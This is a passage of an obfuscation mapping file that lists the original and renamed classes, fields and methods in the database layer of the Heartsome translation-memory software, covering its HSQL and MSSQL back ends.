getTUByTuPkId + java.util.List getTUInfoByTuvPkids(java.util.List) -> getTUInfoByTuvPkids + void updateTU(java.util.Map) -> updateTU + void updateTuChangeInfo(int,java.lang.String,java.lang.String,java.lang.String) -> updateTuChangeInfo + void updateTUExtra(java.util.Map) -> updateTUExtra + void updateMProp(java.util.Map) -> updateMProp + void updateTuvContext(int,java.lang.String,java.lang.String,java.lang.String) -> updateTuvContext + int[] deleteAllTuvRelations(java.util.List,java.lang.String) -> deleteAllTuvRelations + void deleteMprop(java.lang.String,java.lang.String) -> deleteMprop + void deleteMNote(java.lang.String,java.lang.String) -> deleteMNote + void deleteExtra(java.lang.String,java.lang.String) -> deleteExtra + void deleteMatrxLang(java.lang.String,java.lang.String) -> deleteMatrxLang + java.util.Vector checkTerms(java.lang.String,java.lang.String,java.lang.String) -> checkTerms + java.util.Vector findMatch(java.lang.String,java.lang.String,java.lang.String,java.lang.String,boolean,int,int,int,boolean,java.lang.String[],int,boolean) -> findMatch + java.util.Vector findMatch(java.lang.String,java.lang.String,java.lang.String,java.lang.String,boolean,int,int,int,boolean,boolean) -> findMatch + java.util.Vector findMatchByRegex(java.lang.String[],java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,int,int) -> findMatchByRegex + java.util.Vector findMatch4QT(java.lang.String,java.lang.String,java.lang.String,int,boolean) -> findMatch4QT + java.util.Vector findAllTermsByText(java.lang.String,java.lang.String,java.lang.String) -> findAllTermsByText + java.util.Map query(java.lang.String,java.lang.Object[]) -> a + void setParameter(java.sql.PreparedStatement,int,java.lang.Object) -> a + int insertBMartifHeader(java.lang.String,java.lang.String) -> insertBMartifHeader + void insertBAttribute(java.util.Map,java.lang.String,int) -> insertBAttribute + int insertBRefobjectlist(java.lang.String,java.lang.String,int) -> insertBRefobjectlist + int insertBTermentry(java.lang.String,java.lang.String,int) -> insertBTermentry + void insertBNode(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertBNode + void deleteBNode(java.util.List) -> deleteBNode + java.util.List getBNodeByParent(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> getBNodeByParent + java.util.List getBTermEntryByPk(java.util.List) -> getBTermEntryByPk + java.lang.String getTermEntryContentByPk(java.lang.Integer) -> getTermEntryContentByPk + java.util.List getTextDataGroupIdByTextId(java.util.List) -> getTextDataGroupIdByTextId + void updateTermEntry(java.lang.String,java.lang.String) -> updateTermEntry + void deleteTerm(java.lang.String,java.lang.String) -> deleteTerm + java.util.List getLanguages() -> getLanguages + java.util.Map getCandidatesTextDataPks(java.lang.String,int,int,int[]) -> a + int[] generateNgrams(java.lang.String,java.lang.String) -> c + java.util.Vector findMatch(java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String) -> findMatch + java.util.Vector findMatch_1(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean) -> findMatch_1 + void fuzzySearch(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean,net.heartsome.cat.database.bean.FuzzySearchResults,int) -> fuzzySearch + void translationUnitAnalysis(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean,net.heartsome.cat.database.bean.TranslationUnitAnalysisResults,int) -> translationUnitAnalysis + int similarity(java.lang.String,java.lang.String) -> similarity + boolean isDuplicated(java.util.Vector,java.util.Hashtable) -> a + java.util.List getConcordanceSearchResult(java.lang.String,boolean,boolean,boolean,java.lang.String,java.util.List,java.util.List) -> getConcordanceSearchResult + java.lang.String getTMSearchSql(java.lang.String,boolean,java.util.List,java.util.List) -> getTMSearchSql + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql + void addOrRemoveFlag(boolean,java.lang.String) -> addOrRemoveFlag + java.util.HashMap getTermBaseResult(java.lang.String,boolean,boolean,boolean,java.lang.String,java.util.List,int) -> getTermBaseResult + java.lang.String getTermBaseSearchSql(java.lang.String,boolean,boolean,boolean,java.lang.String,java.util.List) -> getTermBaseSearchSql + java.util.List getAfterFilterTuPk(java.lang.String,java.lang.String,java.lang.String) -> getAfterFilterTuPk + java.util.List getAllTuPkByLang(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> getAllTuPkByLang + java.util.List getSrcSameWithTgtTuPK(java.lang.String,java.lang.String,boolean,boolean) -> getSrcSameWithTgtTuPK + java.util.List getSrcSameButTgtTuPK(java.lang.String,java.lang.String,boolean,boolean) -> getSrcSameButTgtTuPK + java.util.List getTgtSameButSrcTuPK(java.lang.String,java.lang.String,boolean,boolean) -> getTgtSameButSrcTuPK + java.util.List getDuplicateSegTUPK(java.lang.String,java.lang.String,boolean,boolean) -> getDuplicateSegTUPK + void ananysisDuplicateData(java.util.Map,java.util.List,boolean) -> a + java.util.List getWithNoteTuPK(java.lang.String,java.lang.String,boolean,boolean) -> getWithNoteTuPK + java.util.List getWithGarbleTuPK(java.lang.String,java.lang.String,boolean,boolean) -> getWithGarbleTuPK + java.util.List getTgtNullTuPK(java.lang.String,java.lang.String,boolean,boolean) -> getTgtNullTuPK + java.util.List getCustomFilterTuPK(java.lang.String,java.lang.String,java.lang.String,boolean,boolean) -> getCustomFilterTuPK + int getAfterFilterTuHeaderPk(java.lang.String,java.lang.String,java.lang.String) -> getAfterFilterTuHeaderPk + java.lang.String generationExportTMXFilter(java.lang.String,net.heartsome.cat.database.bean.ExportFilterBean) -> generationExportTMXFilter + java.lang.String retrieveTu(int,java.util.List,boolean,boolean) -> retrieveTu + java.lang.String retrieveExtra(int,java.lang.String,java.lang.String) -> a + java.lang.String retrieveNote(int,java.lang.String) -> b + java.lang.String retrieveProp(int,java.lang.String) -> c + java.lang.String retrieveTuv(int,java.util.List,boolean,boolean) -> a + java.util.Map changeToTMX(java.util.Map,java.util.Map) -> a + java.util.List getAfterFilterTermEntryPK(java.lang.String,java.util.List) -> getAfterFilterTermEntryPK + java.util.List validateTermEntryPk(java.util.List,java.util.List,java.lang.String) -> validateTermEntryPk + java.lang.String retrieveTermEntry(int) -> retrieveTermEntry + java.util.Map getTMXSegmentByIdAddLang(java.lang.Integer,java.lang.String) -> getTMXSegmentByIdAddLang + java.util.Map getHeaderinfoById(java.lang.Integer) -> getHeaderinfoById + void deleteTU(int) -> deleteTU + void deleteTuProp(int,java.lang.String) -> deleteTuProp + void deleteTuNote(int,java.lang.String) -> deleteTuNote + void deleteTuExtra(int,java.lang.String) -> deleteTuExtra + void deleteLang(java.lang.String) -> deleteLang + int getLangCountInTextData(java.lang.String) -> getLangCountInTextData + void updateTUChangeDate(int,java.lang.String) -> updateTUChangeDate + void updateTUChangeDateUseDefault(int) -> updateTUChangeDateUseDefault + void updateTUChangeUser(java.lang.Integer,java.lang.String) -> updateTUChangeUser + void updateTUVContent(int,java.lang.String,java.lang.String,java.lang.String) -> updateTUVContent + void updateMProp(int,java.lang.String,java.lang.String) -> updateMProp + boolean update(java.lang.String,java.lang.Object[]) -> update + void updateMNote(java.lang.Integer,java.lang.String,java.lang.String,java.lang.String) -> updateMNote + java.lang.String insert(java.lang.String,java.lang.Object[]) -> insert + java.util.List getEmptyPure(java.lang.String,org.eclipse.core.runtime.IProgressMonitor,boolean) -> getEmptyPure + int addExAttribute(java.lang.String,java.lang.Integer,java.lang.String,java.lang.String) -> addExAttribute + void delete(java.lang.String,java.lang.Object[]) -> delete + void deleteExAttribute(java.lang.Integer,java.lang.String,java.lang.String) -> deleteExAttribute + boolean updateExAttribute(int,java.lang.String,java.lang.String,java.lang.String) -> updateExAttribute + int addMNote(java.lang.String,java.lang.Integer,java.lang.String,java.lang.String,java.lang.String) -> addMNote + void deleteMNote(java.lang.Integer) -> deleteMNote + int addMProp(java.lang.String,java.lang.Integer,java.lang.String,java.lang.String) -> addMProp + void deleteMProp(java.lang.Integer) -> deleteMProp + void deleteMatrix_lang(java.lang.String,int) -> deleteMatrix_lang + void insertMatrix_lang(java.lang.String,int,java.lang.String) -> insertMatrix_lang + void updateMatrix_lang(java.lang.String,int,java.lang.String) -> updateMatrix_lang + java.util.List getTupkids4DeleteTus(java.util.List) -> getTupkids4DeleteTus + int getTuvCount(int) -> d + java.util.List getTupkids4DeleteTuv(java.util.List,java.util.List) -> getTupkids4DeleteTuv + void deleteTUs(java.util.List) -> deleteTUs + void deleteExValues(java.util.List,java.lang.String) -> deleteExValues + void deleteNotes(java.util.List,java.lang.String) -> deleteNotes + void deleteProps(java.util.List,java.lang.String) -> deleteProps + java.util.List getTuvIdsByTuId(java.util.List) -> getTuvIdsByTuId + java.util.List getTuvIdsByTuIdAndTgt(java.util.List,java.lang.String) -> getTuvIdsByTuIdAndTgt + java.util.Map getSrcTgtGrouped(boolean,java.lang.String,java.lang.String) -> getSrcTgtGrouped + void deleteTUVContentEndsSpace() -> deleteTUVContentEndsSpace + void deleteTuvMatrixLang(java.util.List,java.lang.String,java.lang.String) -> deleteTuvMatrixLang + void deleteMatixLang(java.util.List,java.lang.String) -> a + void deleteTuv(java.util.List) -> a + java.lang.String converList2SetString(java.util.List) -> b + java.lang.String conver2SetString(java.util.List) -> c + boolean updateTuAttrByColumn(java.lang.String,java.lang.String) -> updateTuAttrByColumn + boolean updateTuAttrByColumnAndIds(java.lang.String,java.lang.String,java.util.List) -> updateTuAttrByColumnAndIds + boolean addTuRropByTuIds(java.lang.String,java.lang.String,java.lang.String,java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> addTuRropByTuIds + boolean addTuNotesByTuIds(java.lang.String,java.lang.String,java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> addTuNotesByTuIds + boolean updateAllProp(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> updateAllProp + boolean updateAllPropType(java.lang.String,java.lang.String) -> updateAllPropType + boolean updateAllNotes(java.lang.String,java.lang.String) -> updateAllNotes + boolean updatePropByIds(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.util.List) -> updatePropByIds + boolean updatePropTypeByIds(java.lang.String,java.lang.String,java.util.List) -> updatePropTypeByIds + boolean updateNotesByIds(java.lang.String,java.lang.String,java.util.List) -> updateNotesByIds + boolean deleteAllProp(java.lang.String,java.lang.String) -> deleteAllProp + boolean deleteAllNote(java.lang.String) -> deleteAllNote + boolean deletePropByIds(java.lang.String,java.lang.String,java.util.List) -> deletePropByIds + boolean deleteNotesByIds(java.lang.String,java.util.List) -> deleteNotesByIds + boolean addExAttributes(java.lang.String,java.util.List,java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> addExAttributes + java.util.List getAttrIdsByName(java.lang.String,java.util.List) -> getAttrIdsByName + boolean deleteExAttributes(java.util.List,java.lang.String,java.lang.String) -> deleteExAttributes + java.util.List getTuvIdsByLangs(java.util.List) -> getTuvIdsByLangs + java.util.List getTuvIdsByLangsAndTuids(java.util.List,java.util.List) -> getTuvIdsByLangsAndTuids + boolean isReadOnly() -> isReadOnly +net.heartsome.cat.database.DBOperator$1 -> net.heartsome.cat.database.DBOperator$1: + net.heartsome.cat.database.DBOperator this$0 -> et + boolean val$ignoreTag -> eu + int compare(net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxTU) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.database.DBOperator$2 -> net.heartsome.cat.database.DBOperator$2: + net.heartsome.cat.database.DBOperator this$0 -> et + int compare(java.lang.Integer,java.lang.Integer) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.database.DBOperator$FindMatchComparator -> net.heartsome.cat.database.DBOperator$FindMatchComparator: + net.heartsome.cat.database.DBOperator this$0 -> et + int compare(java.util.Hashtable,java.util.Hashtable) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.database.DBServiceProvider -> net.heartsome.cat.database.DBServiceProvider: + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance +net.heartsome.cat.database.NGrams -> net.heartsome.cat.database.NGrams: + int NGRAMSIZE -> ev + java.lang.String SEPARATORS -> SEPARATORS + int[] getNGrams(java.lang.String,boolean) -> getNGrams + java.util.Vector buildWordList(java.lang.String) -> i +net.heartsome.cat.database.SystemDBOperator -> net.heartsome.cat.database.SystemDBOperator: + org.slf4j.Logger logger -> logger + net.heartsome.cat.common.bean.MetaData metaData -> eo + net.heartsome.cat.database.DBConfig dbConfig -> ep + int FAILURE_1 -> FAILURE_1 + int createDB() -> createDB + int createSysDb() -> createSysDb + int createDB(java.lang.String,java.util.List,net.heartsome.cat.common.bean.MetaData) -> a + boolean checkDbConnection() -> checkDbConnection + void updataSysDb(int) -> updataSysDb + boolean checkSysDb() -> checkSysDb + void addSysDb(java.lang.String,java.lang.String,int) -> addSysDb + void removeSysDb(java.lang.String) -> removeSysDb + java.util.List getSysDbNames(int) -> getSysDbNames + void dropDb(java.lang.String) -> dropDb + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection + void freeConnection(java.sql.Statement,java.sql.Connection) -> a + net.heartsome.cat.common.bean.MetaData getMetaData() -> getMetaData + void setMetaData(net.heartsome.cat.common.bean.MetaData) -> setMetaData + net.heartsome.cat.database.DBConfig getDBConfig() -> getDBConfig + boolean checkDbExistOnServer() -> checkDbExistOnServer +net.heartsome.cat.database.TMXDBOperatorFacade -> net.heartsome.cat.database.TMXDBOperatorFacade: + java.lang.String MTUPKID -> MTUPKID + java.lang.String TUID -> TUID + java.lang.String CREATIONID -> CREATIONID + java.lang.String CREATIONDATE -> CREATIONDATE + java.lang.String CHANGEID -> CHANGEID + java.lang.String CHANGEDATE -> CHANGEDATE + java.lang.String CREATIONTOOL -> CREATIONTOOL + java.lang.String CTVERSION -> CTVERSION + java.lang.String NNAME -> NNAME + java.lang.String CONTENT -> CONTENT + java.lang.String ELEMENT_TYPE -> ELEMENT_TYPE + java.lang.String ARRIBUTE_TYPE -> ARRIBUTE_TYPE + java.lang.String TEXTDATA_TM_TYPE -> TEXTDATA_TM_TYPE + java.lang.String TU_NAME -> TU_NAME + java.lang.String TUV_NAME -> TUV_NAME + java.lang.String HASH -> HASH + java.lang.String PURE -> PURE + net.heartsome.cat.database.DBOperator dbOperator -> ew + java.lang.String[] langs -> ex + java.lang.String[] defaultLangs -> ey + java.util.List langCache -> ez + net.heartsome.cat.common.bean.TmxTU getTuByIdentifier(int,boolean) -> getTuByIdentifier + net.heartsome.cat.common.bean.TmxTU getTuByIdentifierAllLang(int,boolean) -> getTuByIdentifierAllLang + java.util.List getAllLangs() -> y + java.util.Map getTUExArributes(java.util.Map) -> b + net.heartsome.cat.common.bean.TmxTU addTUNormalArributes(net.heartsome.cat.common.bean.TmxTU,java.util.Map) -> a + net.heartsome.cat.common.bean.TmxTU addTUExArributes(net.heartsome.cat.common.bean.TmxTU,java.util.Map) -> b + net.heartsome.cat.common.bean.TmxTU addTUProp(net.heartsome.cat.common.bean.TmxTU,java.util.List) -> a + net.heartsome.cat.common.bean.TmxTU addTUNotes(net.heartsome.cat.common.bean.TmxTU,java.util.List) -> b + net.heartsome.cat.common.bean.TmxTU addTUContent(net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxSegement,net.heartsome.cat.common.bean.TmxSegement) -> a + net.heartsome.cat.common.bean.TmxSegement createTmxSegment(java.util.Map) -> c + java.lang.String[] getLang(int) -> e + void setLangs(java.lang.String,java.lang.String) -> setLangs + int insertTu(net.heartsome.cat.common.bean.TmxTU) -> insertTu + void deleteTu(net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> deleteTu + void updateTUVContent(int,net.heartsome.cat.common.bean.TmxSegement) -> updateTUVContent + void updateTU(net.heartsome.cat.common.bean.TmxTU) -> updateTU + int addTuNote(int,net.heartsome.cat.common.bean.TmxNote) -> addTuNote + void deleteTuNote(int) -> deleteTuNote + void updateNote(int,net.heartsome.cat.common.bean.TmxNote) -> updateNote + int addTuProp(int,net.heartsome.cat.common.bean.TmxProp) -> addTuProp + void deleteTuProp(int) -> deleteTuProp + void updateProp(int,net.heartsome.cat.common.bean.TmxProp) -> updateProp + void addTuAttribute(int,java.lang.String,java.lang.String) -> addTuAttribute + void deleteTuAttribute(int,java.lang.String) -> deleteTuAttribute + void updateTuAttribute(net.heartsome.cat.common.bean.TmxTU) -> updateTuAttribute + void addTuvAttribute(int,java.lang.String,java.lang.String) -> addTuvAttribute + void deleteTuvAttibute(int,java.lang.String) -> deleteTuvAttibute + void updateTUVAttribute(int,java.lang.String,java.lang.String) -> updateTUVAttribute + java.util.List getTgtEmptyTU(java.lang.String,org.eclipse.core.runtime.IProgressMonitor,boolean) -> getTgtEmptyTU + void commit() -> commit + void rollback() -> rollback + void beginTransaction() -> beginTransaction + void start() -> start + void end() -> end + void updateTuInfo(int,java.lang.String,java.lang.String) -> updateTuInfo + void deleteTuByIds(java.util.List,java.lang.String,java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> deleteTuByIds + java.util.Map getSimpleTuDBDatas(boolean,java.lang.String,java.lang.String) -> getSimpleTuDBDatas + void deleteEndsSpaces(org.eclipse.core.runtime.IProgressMonitor) -> deleteEndsSpaces + boolean updateAllTuAttr(java.lang.String,java.lang.String) -> updateAllTuAttr + boolean updateFilterTuAttr(java.lang.String,java.lang.String,java.util.List) -> updateFilterTuAttr + boolean batchAddTuProps(java.lang.String,java.lang.String,java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> batchAddTuProps + boolean batchAddTuNotes(java.lang.String,java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> batchAddTuNotes + java.lang.String getTuColumn(java.lang.String) -> getTuColumn + boolean batchUpdateTuProp(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.util.List) -> batchUpdateTuProp + boolean batchUpdateTuPropType(java.lang.String,java.lang.String,java.util.List) -> batchUpdateTuPropType + boolean batchUpdateTuNote(java.lang.String,java.lang.String,java.util.List) -> batchUpdateTuNote + boolean batchDeleteTuProp(java.lang.String,java.lang.String,java.util.List) -> batchDeleteTuProp + boolean batchDeleteTuNote(java.lang.String,java.util.List) -> batchDeleteTuNote + boolean batchUpdateTuvExAttribute(java.lang.String,java.lang.String,java.util.List,java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> batchUpdateTuvExAttribute +net.heartsome.cat.database.TranslationMemoryTools -> net.heartsome.cat.database.TranslationMemoryTools: + java.lang.String getInnerTagContent(java.lang.String) -> getInnerTagContent + java.lang.String getTagName(java.lang.String) -> getTagName + void main(java.lang.String[]) -> main +net.heartsome.cat.database.Utils -> net.heartsome.cat.database.Utils: + java.lang.String replaceParams(java.lang.String,net.heartsome.cat.common.bean.MetaData) -> replaceParams + java.util.Properties replaceParams(java.util.HashMap,net.heartsome.cat.common.bean.MetaData) -> replaceParams + java.lang.String langToCode(java.lang.String) -> langToCode + java.util.Hashtable getHeaderMatch() -> getHeaderMatch + java.util.Map getTMXNotesMatch() -> getTMXNotesMatch + java.util.Map getTMXPropsMatch() -> getTMXPropsMatch + java.util.Map getTUMatch() -> getTUMatch + java.util.Map getTUDbMatchTmx() -> getTUDbMatchTmx + java.lang.String validateCode(int) -> validateCode + java.lang.String replaceString(java.lang.String,java.lang.String,java.lang.String) -> replaceString + java.util.Map getFilterMatchMTU(java.lang.String) -> getFilterMatchMTU + java.lang.String convertLangCode(java.lang.String) -> convertLangCode + java.io.File clearTmxFile(java.io.File) -> clearTmxFile + void main(java.lang.String[]) -> main +net.heartsome.cat.database.bean.ExportDatabaseBean -> net.heartsome.cat.database.bean.ExportDatabaseBean: + java.lang.String index -> index + net.heartsome.cat.common.bean.MetaData dbBean -> eA + java.lang.String existLangs -> eB + java.util.List hasSelectedLangs -> eC + java.lang.String srcLang -> eD + java.lang.String exportFilePath -> eE + java.util.List canSelSrcLangs -> eF + java.lang.String getIndex() -> getIndex + void setIndex(java.lang.String) -> setIndex + net.heartsome.cat.common.bean.MetaData getDbBean() -> getDbBean + void setDbBean(net.heartsome.cat.common.bean.MetaData) -> setDbBean + java.lang.String getExistLangs() -> getExistLangs + void setExistLangs(java.lang.String) -> setExistLangs + java.util.List getCanSelSrcLangs() -> getCanSelSrcLangs + void setCanSelSrcLangs(java.util.List) -> setCanSelSrcLangs + java.util.List getHasSelectedLangs() -> getHasSelectedLangs + void setHasSelectedLangs(java.util.List) -> setHasSelectedLangs + java.lang.String getSrcLang() -> getSrcLang + void setSrcLang(java.lang.String) -> setSrcLang + java.lang.String getExportFilePath() -> getExportFilePath + void setExportFilePath(java.lang.String) -> setExportFilePath + boolean equals(java.lang.Object) -> equals +net.heartsome.cat.database.bean.ExportFilterBean -> net.heartsome.cat.database.bean.ExportFilterBean: + java.lang.String filterName -> eG + java.util.List filterOption -> eH + java.lang.String filterConnector -> eI + java.lang.String filterType -> eJ + java.lang.String getFilterName() -> getFilterName + void setFilterName(java.lang.String) -> setFilterName + java.util.List getFilterOption() -> getFilterOption + void setFilterOption(java.util.List) -> setFilterOption + java.lang.String getFilterConnector() -> getFilterConnector + void setFilterConnector(java.lang.String) -> setFilterConnector + java.lang.String getFilterType() -> getFilterType + void setFilterType(java.lang.String) -> setFilterType +net.heartsome.cat.database.bean.ExportFilterComponentBean -> net.heartsome.cat.database.bean.ExportFilterComponentBean: + java.lang.String optionName -> optionName + java.lang.String expression -> expression + java.util.LinkedHashMap filterContent -> eK + java.lang.String filterVlaue -> eL + java.util.Map matchDb -> eM + java.util.Map matchDbOp -> eN + java.lang.String[] getExpressionsByName(java.lang.String) -> getExpressionsByName + java.lang.String[] getCurrentFilterExpressions() -> getCurrentFilterExpressions + java.lang.String[] getFilterNames() -> getFilterNames + java.lang.String getOptionName() -> getOptionName + java.lang.String getMatchDbField() -> getMatchDbField + void setOptionName(java.lang.String) -> setOptionName + java.lang.String getCurrentExpression() -> getCurrentExpression + java.lang.String getExpressionMatchDb() -> getExpressionMatchDb + void setCurrentExpression(java.lang.String) -> setCurrentExpression + java.util.LinkedHashMap getFilterContent() -> getFilterContent + void setFilterContent(java.util.LinkedHashMap) -> setFilterContent + java.lang.String getFilterVlaue() -> getFilterVlaue + void setFilterVlaue(java.lang.String) -> setFilterVlaue +net.heartsome.cat.database.bean.FuzzySearchResults -> net.heartsome.cat.database.bean.FuzzySearchResults: + int maxTuNumber -> eO + java.util.List results -> eP + int sortStrategy -> eQ + java.lang.String deffaultTm -> eR + java.util.Comparator sortComparator -> eS + void sort() -> sort + void add(net.heartsome.cat.common.bean.FuzzySearchResult) -> add + java.util.List getSearchResult() -> getSearchResult + void clearResults() -> clearResults + boolean contains(net.heartsome.cat.common.bean.FuzzySearchResult) -> contains + int access$0(net.heartsome.cat.database.bean.FuzzySearchResults) -> a + java.lang.String access$1(net.heartsome.cat.database.bean.FuzzySearchResults) -> b +net.heartsome.cat.database.bean.FuzzySearchResults$1 -> net.heartsome.cat.database.bean.FuzzySearchResults$1: + net.heartsome.cat.database.bean.FuzzySearchResults this$0 -> eT + int compare(net.heartsome.cat.common.bean.FuzzySearchResult,net.heartsome.cat.common.bean.FuzzySearchResult) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.database.bean.TBPreferenceConstants -> net.heartsome.cat.database.bean.TBPreferenceConstants: + java.lang.String TB_UPDATE -> TB_UPDATE + int TB_ALWAYS_ADD -> TB_ALWAYS_ADD + int TB_REPEAT_OVERWRITE -> TB_REPEAT_OVERWRITE + int TB_REPEAT_MERGE -> TB_REPEAT_MERGE + int TB_REPEAT_IGNORE -> TB_REPEAT_IGNORE + java.lang.String TB_CASE_SENSITIVE -> TB_CASE_SENSITIVE + java.lang.String TB_RM_DBTYPE -> TB_RM_DBTYPE + java.lang.String TB_RM_INSTANCE -> TB_RM_INSTANCE + java.lang.String TB_RM_SERVER -> TB_RM_SERVER + java.lang.String TB_RM_PORT -> TB_RM_PORT + java.lang.String TB_RM_PATH -> TB_RM_PATH + java.lang.String TB_RM_USERNAME -> TB_RM_USERNAME +net.heartsome.cat.database.bean.TMPreferenceConstants -> net.heartsome.cat.database.bean.TMPreferenceConstants: + java.lang.String MATCH_PERCENTAGE_SORT_WITH_EQUAL -> MATCH_PERCENTAGE_SORT_WITH_EQUAL + java.lang.String TM_UPDATE -> TM_UPDATE + java.lang.String CASE_SENSITIVE -> CASE_SENSITIVE + java.lang.String IGNORE_MARK -> IGNORE_MARK + java.lang.String CONTEXT_MATCH -> CONTEXT_MATCH + java.lang.String MAX_MATCH_NUMBER -> MAX_MATCH_NUMBER + java.lang.String MIN_MATCH -> MIN_MATCH + java.lang.String TAG_PENALTY -> TAG_PENALTY + int DEFAULT_DB_PRECEDENCE -> DEFAULT_DB_PRECEDENCE + int DATE_REVERSE_PRECEDENCE -> DATE_REVERSE_PRECEDENCE + int TM_ALWAYS_ADD -> TM_ALWAYS_ADD + int TM_REPEAT_OVERWRITE -> TM_REPEAT_OVERWRITE + int TM_REPEAT_IGNORE -> TM_REPEAT_IGNORE + java.lang.String TM_RM_DBTYPE -> TM_RM_DBTYPE + java.lang.String TM_RM_INSTANCE -> TM_RM_INSTANCE + java.lang.String TM_RM_SERVER -> TM_RM_SERVER + java.lang.String TM_RM_PORT -> TM_RM_PORT + java.lang.String TM_RM_PATH -> TM_RM_PATH + java.lang.String TM_RM_USERNAME -> TM_RM_USERNAME +net.heartsome.cat.database.bean.TranslationUnitAnalysisResults -> net.heartsome.cat.database.bean.TranslationUnitAnalysisResults: + int maxTuNumber -> eO + java.util.List results -> eP + int sortStrategy -> eQ + java.lang.String deffaultTm -> eR + java.util.Comparator sortComparator -> eS + java.util.List getAnaylysisResults() -> getAnaylysisResults + void add(net.heartsome.cat.common.bean.TranslationUnitAnalysisResult) -> add + void sort() -> sort + void clearResults() -> clearResults +net.heartsome.cat.database.bean.TranslationUnitAnalysisResults$1 -> net.heartsome.cat.database.bean.TranslationUnitAnalysisResults$1: + net.heartsome.cat.database.bean.TranslationUnitAnalysisResults this$0 -> eU + int compare(net.heartsome.cat.common.bean.TranslationUnitAnalysisResult,net.heartsome.cat.common.bean.TranslationUnitAnalysisResult) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.database.hsql.Activator -> net.heartsome.cat.database.hsql.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.hsql.Activator plugin -> eV + org.osgi.framework.ServiceRegistration hsqlServiceRegistration -> eW + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.hsql.Activator getDefault() -> z +net.heartsome.cat.database.hsql.DbServiceProviderImpl -> net.heartsome.cat.database.hsql.b: + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance +net.heartsome.cat.database.hsql.MetaDataImpl -> net.heartsome.cat.database.hsql.c: + boolean instanceSupported() -> instanceSupported + boolean passwordSupported() -> passwordSupported + boolean portSupported() -> portSupported + boolean serverNameSupported() -> serverNameSupported + boolean userNameSupported() -> userNameSupported +net.heartsome.cat.database.hsql.OperateSystemDBImpl -> net.heartsome.cat.database.hsql.d: + org.slf4j.Logger logger -> logger + int createDB() -> createDB + int createDB(java.util.List,net.heartsome.cat.common.bean.MetaData) -> a + void removeSysDb(java.lang.String) -> removeSysDb + void addSysDb(java.lang.String,java.lang.String,int) -> addSysDb + int createSysDb() -> createSysDb + boolean checkSysDb() -> checkSysDb + java.util.List getSysDbNames(int) -> getSysDbNames + boolean checkDbConnection() -> checkDbConnection + boolean checkDbExistOnServer() -> checkDbExistOnServer + void dropDb(java.lang.String) -> dropDb + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection +net.heartsome.cat.database.hsql.TMDatabaseImpl -> net.heartsome.cat.database.hsql.e: + void start() -> start + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql + java.util.Vector findAllTermsByText(java.lang.String,java.lang.String,java.lang.String) -> findAllTermsByText + boolean isReadOnly() -> isReadOnly +net.heartsome.cat.database.hsql.resource.Messages -> net.heartsome.cat.database.hsql.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> eX + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.mssql.Activator -> net.heartsome.cat.database.mssql.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.mssql.Activator plugin -> eY + org.osgi.framework.ServiceRegistration mssqlServiceRegistration -> eZ + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.mssql.Activator getDefault() -> A +net.heartsome.cat.database.mssql.DbServiceProviderImpl -> net.heartsome.cat.database.mssql.b: + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance +net.heartsome.cat.database.mssql.MetaDataImpl -> net.heartsome.cat.database.mssql.c: + boolean dataPathSupported() -> dataPathSupported + boolean instanceSupported() -> instanceSupported +net.heartsome.cat.database.mssql.OperateDBImpl -> net.heartsome.cat.database.mssql.d: + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection +net.heartsome.cat.database.mssql.TMDatabaseImpl -> net.heartsome.cat.database.mssql.e: + void start() -> start + 